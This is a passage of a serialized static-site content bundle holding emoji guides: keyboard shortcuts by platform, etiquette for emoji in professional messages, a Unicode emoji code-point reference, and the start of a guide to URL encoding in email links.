rofimoji\n",[143,97369,97370,97375,97385,97389,97394],{"__ignoreMap":141},[1560,97371,97372],{"class":1562,"line":1563},[1560,97373,97374],{"class":1649},"# Install rofimoji\n",[1560,97376,97377,97380,97382],{"class":1562,"line":337},[1560,97378,97379],{"class":1566},"pip",[1560,97381,9023],{"class":5634},[1560,97383,97384],{"class":5634}," rofimoji\n",[1560,97386,97387],{"class":1562,"line":343},[1560,97388,1702],{"emptyLinePlaceholder":363},[1560,97390,97391],{"class":1562,"line":365},[1560,97392,97393],{"class":1649},"# Launch with a keybinding in your i3 config\n",[1560,97395,97396,97399,97402,97405,97408],{"class":1562,"line":889},[1560,97397,97398],{"class":1566},"bindsym",[1560,97400,97401],{"class":1570}," $mod",[1560,97403,97404],{"class":5634},"+e",[1560,97406,97407],{"class":5634}," exec",[1560,97409,97384],{"class":5634},[11,97411,97413],{"id":97412},"ios-emoji-keyboard","iOS Emoji Keyboard",[16,97415,97416],{},"On iPhone and iPad, the emoji keyboard is always one tap away:",[77,97418,97419,97429,97432],{},[44,97420,97421,97422,1531,97425,97428],{},"Tap the ",[47,97423,97424],{},"globe",[47,97426,97427],{},"smiley face"," key at the bottom-left of the keyboard",[44,97430,97431],{},"Browse categories or search using the search bar (iOS 16+)",[44,97433,97434],{},"Tap to insert — recently used emoji appear first",[16,97436,97437],{},"Faster methods:",[41,97439,97440,97446,97452],{},[44,97441,97442,97445],{},[47,97443,97444],{},"Long-press the globe key"," — shows a list of keyboards for quick switching",[44,97447,97448,97451],{},[47,97449,97450],{},"Memoji stickers"," — the frequently-used section includes your personalized Memoji",[44,97453,97454,97457],{},[47,97455,97456],{},"Emoji suggestions"," — as you type, the predictive bar suggests emoji matching your words (type \"happy\" to see 😊 suggested)",[16,97459,97460,97461,97463],{},"To type emoji on a hardware keyboard connected to iPad, press ",[143,97462,97250],{}," — the same shortcut as macOS.",[11,97465,97467],{"id":97466},"android-emoji-keyboard","Android Emoji Keyboard",[16,97469,97470],{},"Android's emoji access depends on your keyboard app:",[16,97472,97473],{},[47,97474,97475],{},"Gboard (Google Keyboard):",[41,97477,97478,97483,97489],{},[44,97479,97421,97480,97482],{},[47,97481,97427],{}," icon on the keyboard toolbar",[44,97484,97485,97486,97488],{},"Or long-press the ",[47,97487,97195],{}," key and swipe to the smiley",[44,97490,97491],{},"Search by typing a keyword — \"fire\" shows 🔥",[16,97493,97494],{},[47,97495,97496],{},"Samsung Keyboard:",[41,97498,97499,97504],{},[44,97500,97421,97501,97503],{},[47,97502,97427],{}," key next to the spacebar",[44,97505,97506],{},"Swipe left\u002Fright to browse categories",[16,97508,97509],{},[47,97510,97511],{},"SwiftKey:",[41,97513,97514,97520],{},[44,97515,97421,97516,97519],{},[47,97517,97518],{},"emoji button"," on the toolbar",[44,97521,97522],{},"SwiftKey learns your emoji habits and predicts which ones you will use next",[11,97524,97526],{"id":97525},"browser-and-web-app-shortcuts","Browser and Web App Shortcuts",[16,97528,97529],{},"When you are typing in a browser, OS-level emoji pickers still work:",[193,97531,97532,97541],{},[196,97533,97534],{},[199,97535,97536,97538],{},[202,97537,5524],{},[202,97539,97540],{},"Emoji Shortcut",[211,97542,97543,97552,97561,97570,97579],{},[199,97544,97545,97548],{},[216,97546,97547],{},"Chrome (Windows)",[216,97549,97550],{},[143,97551,97167],{},[199,97553,97554,97557],{},[216,97555,97556],{},"Chrome (Mac)",[216,97558,97559],{},[143,97560,97250],{},[199,97562,97563,97566],{},[216,97564,97565],{},"Firefox (Windows)",[216,97567,97568],{},[143,97569,97167],{},[199,97571,97572,97575],{},[216,97573,97574],{},"Firefox (Mac)",[216,97576,97577],{},[143,97578,97250],{},[199,97580,97581,97584],{},[216,97582,97583],{},"Any browser (Linux)",[216,97585,97586],{},"Desktop-dependent",[16,97588,97589],{},"For web applications like Slack, Discord, and GitHub, you can also type emoji shortcodes:",[41,97591,97592,97599,97606],{},[44,97593,97594,97595,97598],{},"Slack: ",[143,97596,97597],{},":thumbsup:"," → 👍",[44,97600,97601,97602,97605],{},"Discord: ",[143,97603,97604],{},":heart:"," → ❤️",[44,97607,97608,97609,97598],{},"GitHub: ",[143,97610,97611],{},":+1:",[16,97613,97614,97615,1459,97618,1459,97620,97622],{},"Shortcodes are platform-specific, but the most common ones (",[143,97616,97617],{},":smile:",[143,97619,97604],{},[143,97621,97597],{},") work across all three.",[11,97624,1355],{"id":1354},[41,97626,97627,97633,97639,97645,97648,97651],{},[44,97628,97629,97630,97632],{},"Windows: ",[143,97631,97167],{}," opens the emoji picker anywhere",[44,97634,97635,97636,97638],{},"Mac: ",[143,97637,97250],{}," summons the built-in picker with search and favorites",[44,97640,97641,97642,97644],{},"Linux: GNOME supports ",[143,97643,97327],{},"; other desktops need tools like rofimoji",[44,97646,97647],{},"iOS: tap the globe key to switch to the emoji keyboard; iOS 16+ supports search",[44,97649,97650],{},"Android: Gboard provides the fastest emoji access via the smiley button or search",[44,97652,97653,97654,97656],{},"Web apps support emoji shortcodes (",[143,97655,97597],{},") alongside OS-level pickers",[11,97658,321],{"id":320},[41,97660,97661,97665,97669],{},[44,97662,97663],{},[98,97664,83613],{"href":83612},[44,97666,97667],{},[98,97668,83619],{"href":83618},[44,97670,97671],{},[98,97672,83625],{"href":83624},[11,97674,286],{"id":285},[16,97676,97677,97678,97680],{},"Browse, search, and copy any emoji with our free ",[98,97679,83634],{"href":83633}," — organized by Unicode category, fully searchable, and ready to paste anywhere.",[2043,97682,97683],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":97685},[97686,97687,97688,97689,97690,97691,97692,97693,97694],{"id":97142,"depth":337,"text":97143},{"id":97227,"depth":337,"text":97228},{"id":97298,"depth":337,"text":97299},{"id":97412,"depth":337,"text":97413},{"id":97466,"depth":337,"text":97467},{"id":97525,"depth":337,"text":97526},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master emoji keyboard shortcuts on Windows, Mac, Linux, iOS, and Android — plus tips for fast emoji access in browsers and messaging apps.",{"immutable":363},"\u002Fguides\u002Femoji-keyboard-shortcuts-platforms",{"title":97134,"description":97695},"guides\u002Femoji-keyboard-shortcuts-platforms","jLHZ_SFRtGHEo2jp2SdqPV4HdeFW-4tHFlrFfFLOjM0",{"id":97702,"title":97703,"body":97704,"date":2070,"description":97994,"extension":361,"meta":97995,"navigation":363,"path":97996,"readingTime":1710,"seo":97997,"stem":97998,"__hash__":97999},"guides\u002Fguides\u002Femoji-professional-communication.md","Emoji in Professional Communication",{"type":8,"value":97705,"toc":97971},[97706,97710,97713,97717,97721,97724,97730,97733,97737,97740,97746,97749,97753,97756,97807,97810,97814,97818,97821,97827,97831,97834,97840,97844,97847,97851,97855,97866,97870,97881,97885,97896,97900,97926,97930,97936,97939,97941,97964,97966],[11,97707,97709],{"id":97708},"the-emoji-dilemma-at-work","The Emoji Dilemma at Work",[16,97711,97712],{},"Emoji have moved far beyond casual messaging. Slack threads, marketing emails, and even legal documents now include emoji regularly. But professional communication has unwritten rules about when emoji help and when they undermine your message. The key is intentionality — every emoji you include should serve a purpose, not fill a silence.",[11,97714,97716],{"id":97715},"when-emoji-improve-communication","When Emoji Improve Communication",[33,97718,97720],{"id":97719},"conveying-tone-in-written-text","Conveying Tone in Written Text",[16,97722,97723],{},"Written communication strips away vocal inflection and facial expressions. An emoji can restore warmth or clarity that words alone cannot:",[135,97725,97728],{"className":97726,"code":97727,"language":140},[138],"Without emoji: \"That's an interesting approach.\"\nWith emoji:    \"That's an interesting approach. 🤔\"  (skeptical)\nWith emoji:    \"That's an interesting approach. 🙌\"  (enthusiastic)\n",[143,97729,97727],{"__ignoreMap":141},[16,97731,97732],{},"The same sentence carries drastically different meanings depending on the emoji.",[33,97734,97736],{"id":97735},"softening-direct-language","Softening Direct Language",[16,97738,97739],{},"Direct requests can feel abrupt in writing. A well-placed emoji can soften the tone without diluting the message:",[135,97741,97744],{"className":97742,"code":97743,"language":140},[138],"Without: \"Please review this by end of day.\"\nWith:    \"Please review this by end of day 🙏\"\n",[143,97745,97743],{"__ignoreMap":141},[16,97747,97748],{},"This is particularly effective in cross-cultural teams where directness is interpreted differently.",[33,97750,97752],{"id":97751},"quick-status-signals","Quick Status Signals",[16,97754,97755],{},"Emoji work well as shorthand visual markers in team channels:",[193,97757,97758,97767],{},[196,97759,97760],{},[199,97761,97762,97764],{},[202,97763,95764],{},[202,97765,97766],{},"Common Meaning",[211,97768,97769,97776,97784,97791,97799],{},[199,97770,97771,97773],{},[216,97772,95806],{},[216,97774,97775],{},"Task complete",[199,97777,97778,97781],{},[216,97779,97780],{},"🚧",[216,97782,97783],{},"In progress",[199,97785,97786,97788],{},[216,97787,95790],{},[216,97789,97790],{},"Urgent \u002F high priority",[199,97792,97793,97796],{},[216,97794,97795],{},"📋",[216,97797,97798],{},"Agenda item",[199,97800,97801,97804],{},[216,97802,97803],{},"👀",[216,97805,97806],{},"FYI \u002F please review",[16,97808,97809],{},"These signals scan faster than text labels in busy Slack channels.",[11,97811,97813],{"id":97812},"when-to-avoid-emoji","When to Avoid Emoji",[33,97815,97817],{"id":97816},"formal-external-communication","Formal External Communication",[16,97819,97820],{},"Client proposals, legal correspondence, and executive summaries should avoid emoji. Even if your company culture embraces informality, external stakeholders may interpret emoji as unprofessional:",[135,97822,97825],{"className":97823,"code":97824,"language":140},[138],"❌ \"We're excited to partner with you! 🎉🚀\"\n✅ \"We're excited to partner with you.\"\n",[143,97826,97824],{"__ignoreMap":141},[33,97828,97830],{"id":97829},"serious-or-sensitive-topics","Serious or Sensitive Topics",[16,97832,97833],{},"Never pair emoji with layoffs, security incidents, outages, or performance feedback. The juxtaposition of a lighthearted symbol with a serious message feels dismissive:",[135,97835,97838],{"className":97836,"code":97837,"language":140},[138],"❌ \"We'll need to discuss your performance 📊\"\n✅ \"We'll need to discuss your performance review.\"\n",[143,97839,97837],{"__ignoreMap":141},[33,97841,97843],{"id":97842},"cross-cultural-ambiguity","Cross-Cultural Ambiguity",[16,97845,97846],{},"Emoji meanings vary across cultures. The 👍 (thumbs up) is positive in most Western contexts but offensive in parts of the Middle East and South Asia. The 🙏 (folded hands) means \"thank you\" in Japan but \"prayer\" elsewhere. When communicating across cultures, default to text.",[11,97848,97850],{"id":97849},"channel-specific-guidelines","Channel-Specific Guidelines",[33,97852,97854],{"id":97853},"email","Email",[41,97856,97857,97860,97863],{},[44,97858,97859],{},"External emails: no emoji",[44,97861,97862],{},"Internal team updates: one emoji per paragraph maximum",[44,97864,97865],{},"Subject lines: rarely appropriate — they can trigger spam filters",[33,97867,97869],{"id":97868},"slack-teams","Slack \u002F Teams",[41,97871,97872,97875,97878],{},[44,97873,97874],{},"Team channels: emoji are expected and helpful",[44,97876,97877],{},"Direct messages to leadership: use sparingly",[44,97879,97880],{},"Thread replies: reactions (👍, ❤️) are better than typing \"thanks\"",[33,97882,97884],{"id":97883},"customer-support","Customer Support",[41,97886,97887,97890,97893],{},[44,97888,97889],{},"Positive interactions (celebrations, feature launches): emoji are welcome",[44,97891,97892],{},"Troubleshooting and bug reports: avoid emoji — they can feel dismissive when a customer is frustrated",[44,97894,97895],{},"Status pages: use status emoji (🟢, 🟡, 🔴) consistently",[11,97897,97899],{"id":97898},"quantity-and-placement-rules","Quantity and Placement Rules",[41,97901,97902,97908,97914,97920],{},[44,97903,97904,97907],{},[47,97905,97906],{},"One emoji per sentence maximum"," — multiple emoji read as overdramatic",[44,97909,97910,97913],{},[47,97911,97912],{},"Place at the end of a clause"," — mid-sentence emoji interrupt reading flow",[44,97915,97916,97919],{},[47,97917,97918],{},"Never replace words with emoji"," — accessibility tools read emoji aloud (\"raised hands emoji\"), which is clunky and confusing for screen reader users",[44,97921,97922,97925],{},[47,97923,97924],{},"Avoid skin-tone variants in professional settings"," — they add visual noise without communicative value unless identity is the topic",[33,97927,97929],{"id":97928},"what-not-to-do","What Not to Do",[135,97931,97934],{"className":97932,"code":97933,"language":140},[138],"❌ \"Let's 🚀 this 🎉 project 💪 to the 🏆 finish line 🔥\"\n",[143,97935,97933],{"__ignoreMap":141},[16,97937,97938],{},"This reads as unprofessional and makes the message harder to parse.",[11,97940,1355],{"id":1354},[41,97942,97943,97946,97949,97952,97955,97958,97961],{},[44,97944,97945],{},"Emoji restore tone and warmth that written text strips away — use them intentionally.",[44,97947,97948],{},"Softening direct language and signaling status are the strongest professional use cases.",[44,97950,97951],{},"Avoid emoji in formal external communication, serious topics, and cross-cultural contexts.",[44,97953,97954],{},"Limit to one emoji per sentence, placed at the end of a clause.",[44,97956,97957],{},"Slack reactions (👍, ✅) replace typed acknowledgments more efficiently than emoji in sentences.",[44,97959,97960],{},"Never replace words with emoji — it breaks accessibility and confuses screen reader users.",[44,97962,97963],{},"Know your audience: what works on your team Slack may not work in a client email.",[11,97965,286],{"id":285},[16,97967,97968,97969,468],{},"Find the right emoji for any message quickly with the ",[98,97970,83634],{"href":83633},{"title":141,"searchDepth":337,"depth":337,"links":97972},[97973,97974,97979,97984,97989,97992,97993],{"id":97708,"depth":337,"text":97709},{"id":97715,"depth":337,"text":97716,"children":97975},[97976,97977,97978],{"id":97719,"depth":343,"text":97720},{"id":97735,"depth":343,"text":97736},{"id":97751,"depth":343,"text":97752},{"id":97812,"depth":337,"text":97813,"children":97980},[97981,97982,97983],{"id":97816,"depth":343,"text":97817},{"id":97829,"depth":343,"text":97830},{"id":97842,"depth":343,"text":97843},{"id":97849,"depth":337,"text":97850,"children":97985},[97986,97987,97988],{"id":97853,"depth":343,"text":97854},{"id":97868,"depth":343,"text":97869},{"id":97883,"depth":343,"text":97884},{"id":97898,"depth":337,"text":97899,"children":97990},[97991],{"id":97928,"depth":343,"text":97929},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"When and how to use emoji in business emails, slack, and customer support without losing credibility.",{"immutable":363},"\u002Fguides\u002Femoji-professional-communication",{"title":97703,"description":97994},"guides\u002Femoji-professional-communication","OTxKuWB5FEDLOZz3hTU6QUFbY4jstCC8ddhB7gHHWiU",{"id":98001,"title":83619,"body":98002,"date":2070,"description":98566,"extension":361,"meta":98567,"navigation":363,"path":83618,"readingTime":1717,"seo":98568,"stem":98569,"__hash__":98570},"guides\u002Fguides\u002Femoji-unicode-reference.md",{"type":8,"value":98003,"toc":98553},[98004,98007,98011,98014,98118,98121,98125,98128,98216,98223,98226,98230,98233,98237,98284,98288,98335,98342,98345,98349,98352,98389,98392,98418,98424,98428,98431,98504,98513,98515,98532,98534,98544,98546,98549],[16,98005,98006],{},"Emoji may look like simple pictures, but under the hood they are Unicode characters with specific code points, modifiers, and combining rules. This reference covers the technical foundations that power every emoji you send.",[11,98008,98010],{"id":98009},"unicode-code-point-ranges","Unicode Code Point Ranges",[16,98012,98013],{},"Emoji span multiple Unicode blocks. The core ranges include:",[193,98015,98016,98028],{},[196,98017,98018],{},[199,98019,98020,98023,98025],{},[202,98021,98022],{},"Block",[202,98024,29088],{},[202,98026,98027],{},"Example Characters",[211,98029,98030,98041,98052,98063,98074,98085,98096,98107],{},[199,98031,98032,98035,98038],{},[216,98033,98034],{},"Miscellaneous Symbols",[216,98036,98037],{},"U+2600–U+26FF",[216,98039,98040],{},"☀️ ☂️ ⚡ ✂️",[199,98042,98043,98046,98049],{},[216,98044,98045],{},"Dingbats",[216,98047,98048],{},"U+2700–U+27BF",[216,98050,98051],{},"✅ ✨ ✏️ ❓",[199,98053,98054,98057,98060],{},[216,98055,98056],{},"Miscellaneous Symbols and Pictographs",[216,98058,98059],{},"U+1F300–U+1F5FF",[216,98061,98062],{},"🌈 🍂 🔥 🎃",[199,98064,98065,98068,98071],{},[216,98066,98067],{},"Emoticons",[216,98069,98070],{},"U+1F600–U+1F64F",[216,98072,98073],{},"😀 😎 🤣 😴",[199,98075,98076,98079,98082],{},[216,98077,98078],{},"Transport and Map Symbols",[216,98080,98081],{},"U+1F680–U+1F6FF",[216,98083,98084],{},"🚀 🚗 🚂 🛳️",[199,98086,98087,98090,98093],{},[216,98088,98089],{},"Supplemental Symbols and Pictographs",[216,98091,98092],{},"U+1F900–U+1F9FF",[216,98094,98095],{},"🤖 🥶 🦄 🧩",[199,98097,98098,98101,98104],{},[216,98099,98100],{},"Symbols and Pictographs Extended-A",[216,98102,98103],{},"U+1FA00–U+1FA6F",[216,98105,98106],{},"🪐 🪞 🪟 🫠",[199,98108,98109,98112,98115],{},[216,98110,98111],{},"Symbols and Pictographs Extended-B",[216,98113,98114],{},"U+1FA70–U+1FAFF",[216,98116,98117],{},"🪆 🪸 🪿 🛼",[16,98119,98120],{},"A single emoji can consist of one code point (e.g., U+1F600 for 😀) or multiple code points combined through sequences.",[11,98122,98124],{"id":98123},"skin-tone-modifiers","Skin Tone Modifiers",[16,98126,98127],{},"Unicode 8.0 (2015) introduced five skin tone modifiers based on the Fitzpatrick scale, a dermatological classification of human skin color.",[193,98129,98130,98144],{},[196,98131,98132],{},[199,98133,98134,98137,98139,98142],{},[202,98135,98136],{},"Modifier",[202,98138,7812],{},[202,98140,98141],{},"Fitzpatrick Type",[202,98143,133],{},[211,98145,98146,98160,98174,98188,98202],{},[199,98147,98148,98151,98154,98157],{},[216,98149,98150],{},"🏻 Light",[216,98152,98153],{},"U+1F3FB",[216,98155,98156],{},"Type I–II",[216,98158,98159],{},"👋🏻",[199,98161,98162,98165,98168,98171],{},[216,98163,98164],{},"🏼 Medium-Light",[216,98166,98167],{},"U+1F3FC",[216,98169,98170],{},"Type III",[216,98172,98173],{},"👋🏼",[199,98175,98176,98179,98182,98185],{},[216,98177,98178],{},"🏽 Medium",[216,98180,98181],{},"U+1F3FD",[216,98183,98184],{},"Type IV",[216,98186,98187],{},"👋🏽",[199,98189,98190,98193,98196,98199],{},[216,98191,98192],{},"🏾 Medium-Dark",[216,98194,98195],{},"U+1F3FE",[216,98197,98198],{},"Type V",[216,98200,98201],{},"👋🏾",[199,98203,98204,98207,98210,98213],{},[216,98205,98206],{},"🏿 Dark",[216,98208,98209],{},"U+1F3FF",[216,98211,98212],{},"Type VI",[216,98214,98215],{},"👋🏿",[16,98217,98218,98219,98222],{},"To apply a modifier, you append the modifier code point directly after the base emoji. For example, ",[143,98220,98221],{},"U+1F44B U+1F3FD"," produces 👋🏽. Not all emoji support skin tones — only those representing people or body parts qualify.",[16,98224,98225],{},"If no modifier is specified, platforms render a generic (often yellow) default. Users select skin tones through their keyboard or emoji picker interface.",[11,98227,98229],{"id":98228},"zwj-sequences","ZWJ Sequences",[16,98231,98232],{},"The Zero Width Joiner (ZWJ, U+200D) lets you combine multiple emoji into a single glyph. This mechanism creates family emoji, profession emoji, and other multi-person combinations without assigning each one a dedicated code point.",[33,98234,98236],{"id":98235},"family-sequences","Family Sequences",[193,98238,98239,98249],{},[196,98240,98241],{},[199,98242,98243,98245,98247],{},[202,98244,45057],{},[202,98246,29076],{},[202,98248,70645],{},[211,98250,98251,98262,98273],{},[199,98252,98253,98256,98259],{},[216,98254,98255],{},"👨‍👩‍👧",[216,98257,98258],{},"👨 + ZWJ + 👩 + ZWJ + 👧",[216,98260,98261],{},"Family: man, woman, girl",[199,98263,98264,98267,98270],{},[216,98265,98266],{},"👨‍👨‍👦",[216,98268,98269],{},"👨 + ZWJ + 👨 + ZWJ + 👦",[216,98271,98272],{},"Family: man, man, boy",[199,98274,98275,98278,98281],{},[216,98276,98277],{},"👩‍👧‍👦",[216,98279,98280],{},"👩 + ZWJ + 👧 + ZWJ + 👦",[216,98282,98283],{},"Family: woman, girl, boy",[33,98285,98287],{"id":98286},"profession-sequences","Profession Sequences",[193,98289,98290,98300],{},[196,98291,98292],{},[199,98293,98294,98296,98298],{},[202,98295,45057],{},[202,98297,29076],{},[202,98299,70645],{},[211,98301,98302,98313,98324],{},[199,98303,98304,98307,98310],{},[216,98305,98306],{},"👩‍💻",[216,98308,98309],{},"👩 + ZWJ + 💻",[216,98311,98312],{},"Woman technologist",[199,98314,98315,98318,98321],{},[216,98316,98317],{},"👨‍🍳",[216,98319,98320],{},"👨 + ZWJ + 🍳",[216,98322,98323],{},"Man cook",[199,98325,98326,98329,98332],{},[216,98327,98328],{},"👮‍♀️",[216,98330,98331],{},"👮 + ZWJ + ♀️",[216,98333,98334],{},"Woman police officer",[16,98336,98337,98338,98341],{},"You can stack modifiers onto individual components within a ZWJ sequence. For example, ",[143,98339,98340],{},"👩🏻‍💻"," uses a light skin tone on the woman base before joining it with the laptop.",[16,98343,98344],{},"If a platform does not support a particular ZWJ sequence, it falls back to displaying the individual emoji side by side instead of merging them into one glyph.",[11,98346,98348],{"id":98347},"variant-selectors","Variant Selectors",[16,98350,98351],{},"Some Unicode characters have existed for decades as text symbols, long before emoji existed. The variant selector tells the rendering engine whether to show the text form or the emoji form.",[193,98353,98354,98365],{},[196,98355,98356],{},[199,98357,98358,98361,98363],{},[202,98359,98360],{},"Selector",[202,98362,7812],{},[202,98364,29641],{},[211,98366,98367,98378],{},[199,98368,98369,98372,98375],{},[216,98370,98371],{},"VS-15 (text)",[216,98373,98374],{},"U+FE0E",[216,98376,98377],{},"Forces text\u002Fpresentation",[199,98379,98380,98383,98386],{},[216,98381,98382],{},"VS-16 (emoji)",[216,98384,98385],{},"U+FE0F",[216,98387,98388],{},"Forces emoji\u002Fpresentation",[16,98390,98391],{},"Common examples:",[41,98393,98394,98400,98406,98412],{},[44,98395,98396,98399],{},[143,98397,98398],{},"U+2764 U+FE0F"," → ❤️ (color emoji heart)",[44,98401,98402,98405],{},[143,98403,98404],{},"U+2764 U+FE0E"," → ❤︎ (text heart outline)",[44,98407,98408,98411],{},[143,98409,98410],{},"U+2600 U+FE0F"," → ☀️ (color sun)",[44,98413,98414,98417],{},[143,98415,98416],{},"U+2600 U+FE0E"," → ☀︎ (text sun)",[16,98419,98420,98421,98423],{},"Always include ",[143,98422,98385],{}," when you intentionally want the emoji version. Omitting it can cause unpredictable rendering — some platforms default to emoji, others to text.",[11,98425,98427],{"id":98426},"shortcode-systems","Shortcode Systems",[16,98429,98430],{},"Shortcodes provide a text-based way to reference emoji in platforms that do not natively support Unicode input. Each ecosystem defines its own mapping.",[193,98432,98433,98443],{},[196,98434,98435],{},[199,98436,98437,98439,98441],{},[202,98438,23888],{},[202,98440,13018],{},[202,98442,133],{},[211,98444,98445,98460,98473,98488],{},[199,98446,98447,98450,98455],{},[216,98448,98449],{},"GitHub",[216,98451,98452],{},[143,98453,98454],{},":code:",[216,98456,98457,98459],{},[143,98458,97617],{}," → 😄",[199,98461,98462,98465,98469],{},[216,98463,98464],{},"Slack",[216,98466,98467],{},[143,98468,98454],{},[216,98470,98471,97598],{},[143,98472,97597],{},[199,98474,98475,98478,98482],{},[216,98476,98477],{},"Discord",[216,98479,98480],{},[143,98481,98454],{},[216,98483,98484,98487],{},[143,98485,98486],{},":wave:"," → 👋",[199,98489,98490,98493,98498],{},[216,98491,98492],{},"HTML entity",[216,98494,98495],{},[143,98496,98497],{},"&#xhex;",[216,98499,98500,98503],{},[143,98501,98502],{},"&#x1F600;"," → 😀",[16,98505,98506,98507,23567,98510,98512],{},"Shortcodes are ",[47,98508,98509],{},"not standardized",[143,98511,97597],{}," works on Slack and GitHub, but the exact code may differ on Discord or other platforms. When building cross-platform systems, always map shortcodes back to Unicode code points rather than relying on platform-specific names.",[11,98514,1355],{"id":1354},[41,98516,98517,98520,98523,98526,98529],{},[44,98518,98519],{},"Emoji occupy multiple Unicode blocks from U+2600 through U+1FAFF",[44,98521,98522],{},"Skin tone modifiers (U+1F3FB–U+1F3FF) append to base emoji to change appearance",[44,98524,98525],{},"ZWJ sequences combine multiple emoji into single glyphs for families and professions",[44,98527,98528],{},"Variant selectors U+FE0E and U+FE0F control text vs. emoji presentation",[44,98530,98531],{},"Shortcodes are platform-specific — always convert to Unicode code points for portability",[11,98533,321],{"id":320},[41,98535,98536,98540],{},[44,98537,98538],{},[98,98539,83613],{"href":83612},[44,98541,98542],{},[98,98543,83625],{"href":83624},[11,98545,286],{"id":285},[16,98547,98548],{},"Need to look up a specific code point or find the right emoji? Our emoji picker lets you browse by category, search by keyword, and copy code points instantly.",[16,98550,4531,98551],{},[98,98552,96533],{"href":83633},{"title":141,"searchDepth":337,"depth":337,"links":98554},[98555,98556,98557,98561,98562,98563,98564,98565],{"id":98009,"depth":337,"text":98010},{"id":98123,"depth":337,"text":98124},{"id":98228,"depth":337,"text":98229,"children":98558},[98559,98560],{"id":98235,"depth":343,"text":98236},{"id":98286,"depth":343,"text":98287},{"id":98347,"depth":337,"text":98348},{"id":98426,"depth":337,"text":98427},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Reference guide to emoji Unicode code points, skin tone modifiers, ZWJ sequences, variant selectors, and shortcodes.",{"immutable":363},{"title":83619,"description":98566},"guides\u002Femoji-unicode-reference","cAI4SKQlv7TopyayNdEqDWr62C3ynxUrGaIAV54ui-U",{"id":98572,"title":98573,"body":98574,"date":2070,"description":99102,"extension":361,"meta":99103,"navigation":363,"path":99104,"readingTime":1710,"seo":99105,"stem":99106,"__hash__":99107},"guides\u002Fguides\u002Fencoded-urls-in-emails.md","Encoded URLs in Email Links",{"type":8,"value":98575,"toc":99083},[98576,98579,98583,98586,98590,98596,98606,98610,98620,98645,98655,98659,98662,98668,98684,98688,98691,98741,98750,98754,98758,98767,98820,98829,98833,98840,98843,98847,98850,98892,98895,98899,98903,98949,98953,99039,99041,99067,99069,99080],[16,98577,98578],{},"Email links are deceptively fragile. A URL that works perfectly in a browser can break when embedded in an HTML email — not because of the URL itself, but because of the layers of encoding and rewriting that email clients and marketing platforms apply. Understanding how each layer transforms your URLs helps you avoid broken links and tracked-down campaign performance.",[11,98580,98582],{"id":98581},"the-encoding-journey-of-an-email-url","The Encoding Journey of an Email URL",[16,98584,98585],{},"A typical marketing email URL passes through at least three encoding stages:",[33,98587,98589],{"id":98588},"stage-1-original-url","Stage 1: Original URL",[135,98591,98594],{"className":98592,"code":98593,"language":140},[138],"https:\u002F\u002Fexample.com\u002Fsearch?q=blue shoes&lang=en\n",[143,98595,98593],{"__ignoreMap":141},[16,98597,98598,98599,98602,98603,98605],{},"The space in ",[143,98600,98601],{},"blue shoes"," and the ",[143,98604,13530],{}," separator are problematic in HTML attributes.",[33,98607,98609],{"id":98608},"stage-2-html-attribute-encoding","Stage 2: HTML Attribute Encoding",[16,98611,98612,98613,98616,98617,8037],{},"When placed in an ",[143,98614,98615],{},"\u003Ca href=\"...\">",", the URL must be HTML-attribute-safe. Ampersands must be escaped as ",[143,98618,98619],{},"&amp;",[135,98621,98623],{"className":6417,"code":98622,"language":6419,"meta":141,"style":141},"\u003Ca href=\"https:\u002F\u002Fexample.com\u002Fsearch?q=blue%20shoes&amp;lang=en\">\n",[143,98624,98625],{"__ignoreMap":141},[1560,98626,98627,98629,98631,98633,98635,98638,98640,98643],{"class":1562,"line":1563},[1560,98628,6431],{"class":1570},[1560,98630,98],{"class":2484},[1560,98632,41004],{"class":1566},[1560,98634,7297],{"class":1570},[1560,98636,98637],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fsearch?q=blue%20shoes",[1560,98639,98619],{"class":1576},[1560,98641,98642],{"class":5634},"lang=en\"",[1560,98644,6441],{"class":1570},[16,98646,98647,98648,98650,98651,98654],{},"If you omit the ",[143,98649,98619],{}," encoding, HTML validators flag it, and some email clients misparse the URL — treating ",[143,98652,98653],{},"&lang"," as an HTML entity reference.",[33,98656,98658],{"id":98657},"stage-3-click-tracking-wrapper","Stage 3: Click Tracking Wrapper",[16,98660,98661],{},"Marketing platforms (Mailchimp, HubSpot, SendGrid) rewrite links to track clicks. The original URL becomes a query parameter in the tracking URL:",[135,98663,98666],{"className":98664,"code":98665,"language":140},[138],"https:\u002F\u002Ftrack.platform.com\u002Fclick?msgid=abc123&url=https%3A%2F%2Fexample.com%2Fsearch%3Fq%3Dblue%2520shoes%26lang%3Den\n",[143,98667,98665],{"__ignoreMap":141},[16,98669,98670,98671,98673,98674,1459,98677,98673,98680,98683],{},"Notice the double-encoding: ",[143,98672,34150],{}," became ",[143,98675,98676],{},"%2520",[143,98678,98679],{},"%3F",[143,98681,98682],{},"%253F",". The tracking platform percent-encodes the entire original URL as a query parameter value, which re-encodes the existing percent signs.",[11,98685,98687],{"id":98686},"why-double-encoding-happens","Why Double-Encoding Happens",[16,98689,98690],{},"Double-encoding occurs when two independent systems each apply encoding without awareness of the 